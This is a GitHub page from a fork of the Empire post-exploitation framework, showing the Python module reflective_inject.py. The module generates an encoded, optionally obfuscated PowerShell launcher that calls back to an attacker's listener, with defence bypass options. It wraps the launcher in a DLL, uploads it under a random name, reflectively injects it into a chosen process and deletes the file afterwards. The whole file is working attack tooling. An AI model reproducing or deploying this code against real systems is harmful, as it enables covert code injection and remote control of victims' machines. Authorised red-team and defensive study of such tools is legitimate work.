forked from EmpireProject/Empire
-
-
Notifications
You must be signed in to change notification settings - Fork 574
/
reflective_inject.py
89 lines (73 loc) · 3.01 KB
/
reflective_inject.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
import random
import string
from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
class Module:
@staticmethod
def generate(
main_menu: MainMenu,
module: EmpireModule,
params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
def rand_text_alphanumeric(
size=15, chars=string.ascii_uppercase + string.digits
):
return "".join(random.choice(chars) for _ in range(size))
# staging options
fname = rand_text_alphanumeric() + ".dll"
listener_name = params["Listener"]
proc_name = params["ProcName"].strip()
upload_path = params["UploadPath"].strip()
arch = params["Arch"].strip()
full_upload_path = upload_path + "\\" + fname
user_agent = params["UserAgent"]
proxy = params["Proxy"]
proxy_creds = params["ProxyCreds"]
launcher_obfuscate = params["Obfuscate"].lower() == "true"
launcher_obfuscate_command = params["ObfuscateCommand"]
if proc_name == "":
return handle_error_message("[!] ProcName must be specified.")
# read in the common module source code
script, err = main_menu.modulesv2.get_module_source(
module_name=module.script_path,
obfuscate=obfuscate,
obfuscate_command=obfuscation_command,
)
if err:
return handle_error_message(err)
script_end = ""
if not main_menu.listenersv2.get_active_listener_by_name(listener_name):
# not a valid listener, return nothing for the script
return handle_error_message(f"[!] Invalid listener: {listener_name}")
# generate the PowerShell one-liner with all of the proper options set
launcher = main_menu.stagers.generate_launcher(
listener_name,
language="powershell",
encode=True,
obfuscate=launcher_obfuscate,
obfuscation_command=launcher_obfuscate_command,
userAgent=user_agent,
proxy=proxy,
proxyCreds=proxy_creds,
bypasses=params["Bypasses"],
)
if launcher == "":
return handle_error_message("[!] Error in launcher generation.")
launcher_code = launcher.split(" ")[-1]
script_end += f"Invoke-ReflectivePEInjection -PEPath {full_upload_path} -ProcName {proc_name} "
dll = main_menu.stagers.generate_dll(launcher_code, arch)
upload_script = main_menu.stagers.generate_upload(dll, full_upload_path)
script += "\r\n"
script += upload_script
script += "\r\n"
script_end += "\r\n"
script_end += f"Remove-Item -Path {full_upload_path}"
return main_menu.modulesv2.finalize_module(
script=script,
script_end=script_end,
obfuscate=obfuscate,
obfuscation_command=obfuscation_command,
)